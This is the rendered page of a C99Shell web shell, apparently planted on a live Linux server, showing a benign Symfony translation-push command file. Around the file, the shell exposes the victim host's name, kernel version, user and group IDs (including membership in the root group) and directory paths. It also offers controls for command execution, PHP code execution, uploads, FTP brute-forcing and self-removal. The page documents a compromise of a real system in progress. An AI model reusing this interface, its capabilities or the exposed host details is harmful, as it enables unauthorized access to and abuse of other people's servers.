!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/symfony/translation/Command/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TranslationPushCommand.php (7.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Translation\Command;

use 
Symfony\Component\Console\Attribute\AsCommand;
use 
Symfony\Component\Console\Command\Command;
use 
Symfony\Component\Console\Completion\CompletionInput;
use 
Symfony\Component\Console\Completion\CompletionSuggestions;
use 
Symfony\Component\Console\Exception\InvalidArgumentException;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputInterface;
use 
Symfony\Component\Console\Input\InputOption;
use 
Symfony\Component\Console\Output\OutputInterface;
use 
Symfony\Component\Console\Style\SymfonyStyle;
use 
Symfony\Component\Translation\Provider\FilteringProvider;
use 
Symfony\Component\Translation\Provider\TranslationProviderCollection;
use 
Symfony\Component\Translation\Reader\TranslationReaderInterface;
use 
Symfony\Component\Translation\TranslatorBag;

/**
 * @author Mathieu Santostefano <msantostefano@protonmail.com>
 */
#[AsCommand(name'translation:push'description'Push translations to a given provider.')]
final class 
TranslationPushCommand extends Command
{
    use 
TranslationTrait;

    private 
TranslationProviderCollection $providers;
    private 
TranslationReaderInterface $reader;
    private array 
$transPaths;
    private array 
$enabledLocales;

    public function 
__construct(TranslationProviderCollection $providersTranslationReaderInterface $reader, array $transPaths = [], array $enabledLocales = [])
    {
        
$this->providers $providers;
        
$this->reader $reader;
        
$this->transPaths $transPaths;
        
$this->enabledLocales $enabledLocales;

        
parent::__construct();
    }

    public function 
complete(CompletionInput $inputCompletionSuggestions $suggestions): void
    
{
        if (
$input->mustSuggestArgumentValuesFor('provider')) {
            
$suggestions->suggestValues($this->providers->keys());

            return;
        }

        if (
$input->mustSuggestOptionValuesFor('domains')) {
            
$provider $this->providers->get($input->getArgument('provider'));

            if (
$provider && method_exists($provider'getDomains')) {
                
$domains $provider->getDomains();
                
$suggestions->suggestValues($domains);
            }

            return;
        }

        if (
$input->mustSuggestOptionValuesFor('locales')) {
            
$suggestions->suggestValues($this->enabledLocales);
        }
    }

    protected function 
configure(): void
    
{
        
$keys $this->providers->keys();
        
$defaultProvider === \count($keys) ? $keys[0] : null;

        
$this
            
->setDefinition([
                new 
InputArgument('provider'null !== $defaultProvider InputArgument::OPTIONAL InputArgument::REQUIRED'The provider to push translations to.'$defaultProvider),
                new 
InputOption('force'nullInputOption::VALUE_NONE'Override existing translations with local ones (it will delete not synchronized messages).'),
                new 
InputOption('delete-missing'nullInputOption::VALUE_NONE'Delete translations available on provider but not locally.'),
                new 
InputOption('domains'nullInputOption::VALUE_OPTIONAL InputOption::VALUE_IS_ARRAY'Specify the domains to push.'),
                new 
InputOption('locales'nullInputOption::VALUE_OPTIONAL InputOption::VALUE_IS_ARRAY'Specify the locales to push.'$this->enabledLocales),
            ])
            ->
setHelp(<<<'EOF'
The <info>%command.name%</> command pushes translations to the given provider. Only new
translations are pushed, existing ones are not overwritten.

You can overwrite existing translations by using the <comment>--force</> flag:

  <info>php %command.full_name% --force provider</>

You can delete provider translations which are not present locally by using the <comment>--delete-missing</> flag:

  <info>php %command.full_name% --delete-missing provider</>

Full example:

  <info>php %command.full_name% provider --force --delete-missing --domains=messages --domains=validators --locales=en</>

This command pushes all translations associated with the <comment>messages</> and <comment>validators</> domains for the <comment>en</> locale.
Provider translations for the specified domains and locale are deleted if they're not present locally and overwritten if it's the case.
Provider translations for others domains and locales are ignored.
EOF
            )
        ;
    }

    protected function 
execute(InputInterface $inputOutputInterface $output): int
    
{
        
$provider $this->providers->get($input->getArgument('provider'));

        if (!
$this->enabledLocales) {
            throw new 
InvalidArgumentException(sprintf('You must define "framework.enabled_locales" or "framework.translator.providers.%s.locales" config key in order to work with translation providers.'parse_url($provider\PHP_URL_SCHEME)));
        }

        
$io = new SymfonyStyle($input$output);
        
$domains $input->getOption('domains');
        
$locales $input->getOption('locales');
        
$force $input->getOption('force');
        
$deleteMissing $input->getOption('delete-missing');

        if (!
$domains && $provider instanceof FilteringProvider) {
            
$domains $provider->getDomains();
        }

        
// Reading local translations must be done after retrieving the domains from the provider
        // in order to manage only translations from configured domains
        
$localTranslations $this->readLocalTranslations($locales$domains$this->transPaths);

        if (!
$domains) {
            
$domains $this->getDomainsFromTranslatorBag($localTranslations);
        }

        if (!
$deleteMissing && $force) {
            
$provider->write($localTranslations);

            
$io->success(sprintf('All local translations has been sent to "%s" (for "%s" locale(s), and "%s" domain(s)).'parse_url($provider\PHP_URL_SCHEME), implode(', '$locales), implode(', '$domains)));

            return 
0;
        }

        
$providerTranslations $provider->read($domains$locales);

        if (
$deleteMissing) {
            
$provider->delete($providerTranslations->diff($localTranslations));

            
$io->success(sprintf('Missing translations on "%s" has been deleted (for "%s" locale(s), and "%s" domain(s)).'parse_url($provider\PHP_URL_SCHEME), implode(', '$locales), implode(', '$domains)));

            
// Read provider translations again, after missing translations deletion,
            // to avoid push freshly deleted translations.
            
$providerTranslations $provider->read($domains$locales);
        }

        
$translationsToWrite $localTranslations->diff($providerTranslations);

        if (
$force) {
            
$translationsToWrite->addBag($localTranslations->intersect($providerTranslations));
        }

        
$provider->write($translationsToWrite);

        
$io->success(sprintf('%s local translations has been sent to "%s" (for "%s" locale(s), and "%s" domain(s)).'$force 'All' 'New'parse_url($provider\PHP_URL_SCHEME), implode(', '$locales), implode(', '$domains)));

        return 
0;
    }

    private function 
getDomainsFromTranslatorBag(TranslatorBag $translatorBag): array
    {
        
$domains = [];

        foreach (
$translatorBag->getCatalogues() as $catalogue) {
            
$domains += $catalogue->getDomains();
        }

        return 
array_unique($domains);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--